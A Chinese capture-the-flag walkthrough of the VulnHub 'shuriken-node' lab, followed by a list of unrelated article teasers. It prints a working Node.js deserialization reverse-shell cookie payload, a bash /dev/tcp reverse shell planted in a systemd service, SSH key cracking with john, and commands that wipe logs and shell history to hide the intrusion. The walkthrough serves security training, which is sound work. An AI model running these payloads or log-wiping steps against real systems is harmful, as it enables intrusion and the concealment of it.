vulnhub靶场【shuriken】之node

前言

靶机:shuriken-node,ip地址192.168.1.127

攻击:kali,ip地址192.168.1.16

主机发现

使用arp-scan -l或者netdiscover -r 192.168.1.1/24扫描

信息收集

使用nmap扫描端口

网站信息探测

访问8080端口网站,可以看到是一个博客,查看页面源代码,确定为目录型网站

尝试进行网站目录扫描

使用gobuster、ffuf、dirsearch、dirb、dirbuster等工具进行目录爆破

gobuster dir -u http://192.168.1.127:8080 -w /usr/share/wordlists/dirb/big.txt -x zip,php,txt,md,html,jpg -d -b 404,403

可以看到只扫描出四个,并且也并非是脚本语言

访问扫描出的目录

发现在访问/css/img时,都会提示无法使用get方式

访问loginLogin时,都是同一个界面

使用whatweb进一步探测,不过也没有检测出什么

再次详细探测8080端口的默认界面,发现几个用户名,也就是文章发布者,并且发现两张图片

漏洞寻找

把文章中的图片都下载,然后使用工具分析,也没有隐藏信息。

那么尝试中间件吧,之前使用nmap扫描的时候,注意这里不再是apache2,而是node.js express framework

使用searchsploit搜索有无该中间件的一些漏洞,因为这里是网站,所以根据搜索发现两个适合的,并且一个为py脚本,一个为js,并且都是序列化漏洞,可以远程代码执行的,下面还有一个文档,可以在上面漏洞无法使用时,查看

先测试python脚本是否可用,因为本人对于python代码相对比js代码好点,查看脚本代码,发现有需要修改的地方,也就是修改IP地址

不过测试发现并不能成功,那么查看文档,PDF文档详细记录了复现过程以及使用什么工具,那么可以按照文档中的内容进行复现,这里因为太长,所以截取关键图片

不过阅读文章发现,这里是通过修改cookie进行的漏洞,也就是cookie存在反序列化,那么查看原本的cookie

发现为eyJ1c2VybmFtZSI6Ikd1ZXN0IiwiaXNHdWVzdCI6dHJ1ZSwiZW5jb2RpbmciOiAidXRmLTgifQ%3D%3D,也就是base64编码后的,这里的%3D=url编码

解码后,发现是一串字符,类似于json格式,并且其中的guest正是在主页中的显示welcome guest

把其中的内容进行一个修改username:superman,然后编码后查看有无变化,可以看到guest变成superman

尝试把其中的参数再次修改,比如admin测试,发现还是无变化,再把isguest改为false,也无变化,说明还是需要按照文章来

使用wget或者找到git地址,使用wget或者git下载到本地,下载工具及配件

git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

漏洞利用

尝试使用,该脚本是使用python2执行的,后面跟着kali的地址以及端口,用于监听反弹shell

python2 nodejsshell.py 192.168.1.16 9999

然后根据文档中的步骤,添加一段代码,也就是加上,这里是模板,把上面的编码数据包裹起来,主要 就是 (),记得在使用时,在burpsuit中进行base64编码。

但是这里需要注意,这里的语句全部在一行内构造的,不要回车造成多行

{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,46,49,54,34,59,10,80,79,82,84,61,34,57,57,57,57,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

当然,还是需要根据自己的构造在kali中来使用nc进行监听

nc -lvnp 9999

然后使用burp抓取数据包,修改cookie:session=[上面构造的数据]

或者在浏览器中更改cookie为上面的编码数据也行,然后刷新浏览器页面

这时候,可以在终端看到已经反弹成功

使用dpkg -l | grep python查看靶机安装哪些python版本,然后对应版本进行获取交互式界面

python3 -c 'import pty;pty.spawn("/bin/bash")'

靶机内信息收集

使用find寻找具有SUID权限的文件,发现sudo但是需要密码

find / -perm -u=s -type f 2>/dev/null

使用find寻找capabilites文件,发现没有可利用的

find / -type f -executable 2>/dev/null | xargs getcap -r 2>/dev/null

收集系统内核、定时任务、用户数量等操作

uname -a
cat /etc/crontab
cat /etc/passwd | grep /bin/bash
ls /home

收集网络状态信息

ip addr
ss -antlp

还有进程方面的信息,但是太多不好截图,就放命令

top 
free -h
ps aux
等等

查看日志文件有无查看权限,发现没有权限,一般日志文件在/var/log

继续查看备份文件,一般在/var/backups中,这里发现一个压缩包,并且所属用户serv-adm的,不过具有查看权限

复制该压缩包到/tmp目录下,使用unzip进行解压,发现一个id_rsa文件,可能就是私钥文件

提权

水平提权至serv-adm

在靶机使用python开启一个简易的http服务,然后在kali中下载id_rsa文件

尝试使用该文件进行ssh连接,发现需要密码,这个在之前的靶场中提到过,在生成ssh公私钥时,会进行一个设置,这里就是设置了私钥的密码

使用john套件转换后进行解密,发现密码为shuriken1995@

ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt

再次使用这个密码进行ssh连接,登录成功

垂直提权至root

因为前面收集到sudo具有SUID权限,所以还是进行尝试,看是否需要密码,发现不需要,并且有三个文件

这个是启动某种服务,一般这种服务文件都放置在/etc/systemd/system,如果靶机有locate命令可用,可以直接使用该命令直接定位其位置。然后查看该服务文件的权限,发现虽然为可读权限,但是文件所属用户为当前登录的用户,所以可以更改其权限

vim编辑器不可用,可以使用vi或者nano

编辑其文件,发现内容是没30分钟执行shuriken-job.service这个服务,先修改这个时间,改为1分钟

然后查看shuriken-job.service的权限以及内容,发现也是可以直接修改权限的,这里直接查看内容,发现有一个单元为启动时执行,表示启动该服务时会执行的操作,这里默认的是/bin/df,那么修改为其他脚本,比如这里在该文件中添加bash反弹命令

/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.16/1234 0>&1'

先在kali中开启监听,然后再执行上面的sudo命令,需要注意,这里的文件shuriken-job.service只有在启动shuriken-auto.timer时才行,并且是一次性的,所以如果出现问题,可以借助sudo /bin/systemctl daemon-reload重载,再启动即可

#建议按照这个顺序进行执行
sudo /bin/systemctl stop shuriken-auto.timer
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl start shuriken-auto.timer

当然我这里只是选择了一种简单的方法,进行反弹,也有其他提权方法,放在文章后面的总结中

痕迹清理

日志清理

这里和以往一样,就不截图了,直接命令

sed -i "/192.168.1.16/d" /var/log/auth.log
echo > /var/log/btmp
echo > /var/log/faillog
echo > /var/log/lastlog
echo > /var/log/wtmp
echo > /var/log/apache2/access.log
echo > /var/log/apache2/error.log

sudo文件恢复原本状态,也就是把shuriken-auto.timer恢复到原本的30

shuriken-job.service恢复原本的命令/bin/df

命令历史记录清理

history -r
history -c

总结

该靶场的考察为以下几个方面:

  1. 从外网到靶机内部,考察的是web服务器的漏洞缺陷,也就是node.js的反序列化,这里是借助文档进行一个漏洞复现
  2. 考察ssh生成公私钥的一个流程,这里就是在生成时,输入了一个key值,所以需要使用john套件进行解密
  3. 考察服务文件的利用,了解服务文件中的部分是做什么的,这里就是利用[Service] 部分ExecStart,表示开启服务时执行

因为该靶机的sudo的服务文件,可以执行命令,所以很多可以造成提权的操作,都可以进行尝试的,不要局限于一种

对于该靶机的其他提权方式,这里不全面,只是说一下

  1. 修改/etc/sudoers文件权限,使得其他用户可以进行编写,然后在文件中加入一个/bin/bash命令,再把文件权限恢复到默认的440状态后,就可以直接使用sudo /bin/bash提权到root,当然这里对于权限的修改都是在 shuriken-job.service文件修改的,然后执行
  2. 利用ssh文件的特性,先在kali中生成公私钥,然后在修改shuriken-job.service文件,使得其在root目录下创建.ssh文件夹,并下载kali中生成的公钥id_rsa.pub.ssh文件夹下,并修改名称为authorized_keys,这时候就可以在kali中利用生成的私钥文件登录靶机的root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/943043.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

数据仓库工具箱—读书笔记02(Kimball维度建模技术概述04、使用一致性维度集成)

Kimball维度建模技术概述 记录一下读《数据仓库工具箱》时的思考,摘录一些书中关于维度建模比较重要的思想与大家分享🤣🤣🤣 第二章前言部分作者提到:技术的介绍应该通过涵盖各种行业的熟悉的用例展开(赞同…

[实战]推流服务SRS安装

业务场景 在Web浏览器端展示摄像头的视频数据。 协议 物联代理推流协议:rtmp 浏览器器拉流协议:http-flv 推流方案 1、Nginx加nginx-http-flv-modules模块 2、采用SRS服务器 推流服务SRS网站:https://ossrs.io/lts/zh-cn/ 推流服务…

PH热榜 | 2024-12-25

1. Assistive24 标语:为残障人士提供的免费辅助技术 介绍:Assistive24 是一款免费的 Chrome 浏览器扩展程序,可以帮助患有注意力缺陷多动障碍 (ADHD)、阅读障碍 (dyslexia) 和低视力等障碍的用户更方便地浏览网页。它提供语音导航、自定义…

Java中三大构建工具的发展历程(Ant、Maven和Gradle)

🐸 背景 我们要写一个Java程序,一般的步骤是编译,测试,打包。 这个构建的过程,如果文件比较少,我们可以手动使用java, javac,jar命令去做这些事情。但当工程越来越大,文件越来越多&#xff0c…

自学记录HarmonyOS Next DRM API 13:构建安全的数字内容保护系统

在完成了HarmonyOS Camera API的开发之后,我开始关注更复杂的系统级功能。在浏览HarmonyOS Next文档时,我发现了一个非常有趣的领域:数字版权管理(DRM)。最新的DRM API 13提供了强大的工具,用于保护数字内容…

Unity中如何修改Sprite的渲染网格

首先打开SpriteEditor 选择Custom OutLine,点击Genrate 则在图片边缘会出现边缘线,调整白色小方块可以调整边缘 调整后,Sprite就会按照调整后的网格渲染了。 如何在UI中使用? 只要在UI的Image组件中选择Use Sprite Mesh 即可 结果&#xff1…

跟着 8.6k Star 的开源数据库,搞 RAG!

过去 9 年里,HelloGitHub 月刊累计收录了 3000 多个开源项目。然而,随着项目数量的增加,不少用户反馈:“搜索功能不好用,找不到想要的项目!” 这让我意识到,仅仅收录项目是不够的,还…

Sashulin升级啦,开箱即用!

经过多年的不断投入,升级为了Sashulin基础软件系列,本系列包含: 1、Sashulin IDE 2025全域通用开发工具 通用型Java开发工具,并可以进行业务流可视化开发。 2、发布Sashulin Webserver 2025 将Html等网页文件发布成网站&#xf…

linux下搭建lamp环境(dvwa)

lamp简介 LAMP是指一组通常一起使用来运行动态网站或者服务器的自由软件名称首字母缩写: Linux,操作系统 Apache,网页服务器 MariaDB或MySQL,数据库管理系统或数据库服务器 PHP、Perl或Python,脚本语言 # ubuntu安装…

RAGFlow 基于深度文档理解构建的开源 RAG引擎 - 使用Ollama添加大模型

RAGFlow 基于深度文档理解构建的开源 RAG引擎 - 使用Ollama添加大模型 flyfish 当安装完ragflow之后,开始添加大模型 $ git clone https://github.com/infiniflow/ragflow.git $ cd ragflow $ docker compose -f docker/docker-compose.yml up -d浏览器打开http:…

NiChart 多模态神经影像(structural MRI,functional MRI,and diffusion MRI)处理和分析工具包安装

NiChart多模态神经影像部署 NiChart 本地安装Git clone 问题personal access token PAT 问题 NiChart 云端注册AWS验证问题 NiChart 是UPenn大学,Christos Davatzikos教授开发的一个多模态MRI影像,structural (sMRI), diffusion (dMRI), and …

路由策略

控制层流量 --- 路由协议传递路由信息时产生的流量 数据层流量 --- 设备访问目标地址时产生的流量 所谓的路由策略----在控制层面转发流量的过程中,截取流量,之后修改流量再转发或不转发的技术,最终达到影响路由器路由表的生成&#xff0c…

深度学习实战之超分辨率算法(tensorflow)——ESPCN

espcn原理算法请参考上一篇论文,这里主要给实现。 数据集如下:尺寸相等即可 针对数据集,生成样本代码preeate_data.py import imageio from scipy import misc, ndimage import numpy as np import imghdr import shutil import os import…

Dockerfile的用法

Dockerfile的用法 示例 `Dockerfile`使用 `Dockerfile` 创建 Docker 镜像`Dockerfile` 指令详解其他常用指令总结Dockerfile 是一个文本文件,包含了用于创建 Docker 镜像的一系列指令。这些指令描述了镜像的基础、所安装的软件、文件的复制、环境变量的设置以及其他配置。下面…

【GO基础学习】gin框架路由详解

文章目录 gin框架路由详解(1)go mod tidy(2)r : gin.Default()(3)r.GET()路由注册 (4)r.Run()路由匹配 总结 gin框架路由详解 先创建一个项目,编写一个简单的demo&#…

直流无刷电机驱动原理1--简介和例程演示

基础知识 BLDC(Brushless DC Motor,无刷直流电机) 和 PMSM(Permanent Magnet Synchronous Motor,永磁同步电机) 都是基于永磁体技术的无刷电机,但它们在结构、控制方式和应用场景上存在一些区别…

qt5.12.11+msvc编译器编译qoci驱动

1.之前编译过minGW编译器编译qoci驱动,很顺利就完成了,文章地址:minGW编译qoci驱动详解,今天按照之前的步骤使用msvc编译器进行编译,直接就报错了: 查了些资料,发现两个编译器在编译时,pro文件中引用的库不一样,下面是msvc编译器引用的库,其中编译引用的库我这里安装…

【C++动态规划】1458. 两个子序列的最大点积|1823

本文涉及知识点 下载及打开打包代码的方法兼述单元测试 C动态规划 LeetCode1458. 两个子序列的最大点积 LeetCode3290 和此题几乎相同。 给你两个数组 nums1 和 nums2 。 请你返回 nums1 和 nums2 中两个长度相同的 非空 子序列的最大点积。 数组的非空子序列是通过删除原数…

yolov4算法及其改进

yolov4算法及其改进 1、yolov4介绍2、mosaic与mish激活函数2.1、mosaic数据增强2.2、Mish激活函数3、backbone网络框架的改进4、PAN-FPN的介绍5、样本匹配和损失函数1、yolov4介绍 改进点: 输入端改进:Mosaic数据增加主干网络:CSPDarkNet53Neck:SPP、PANet损失函数:CIOU激活…

Astherus 联手 PancakeSwap 推出 asCAKE,CAKE 最大化收益的最优解?

Astherus 是本轮市场周期中最具创新性的 DeFi 协议之一,其通过推出 AstherusEx 以及 AstherusEarn 两个产品,正在基于真实收益启动 DeFi 市场的增长,并成为加密投资者捕获收益的最佳协议。PancakeSwap 是 BNB Chain 上最大的 DEX,…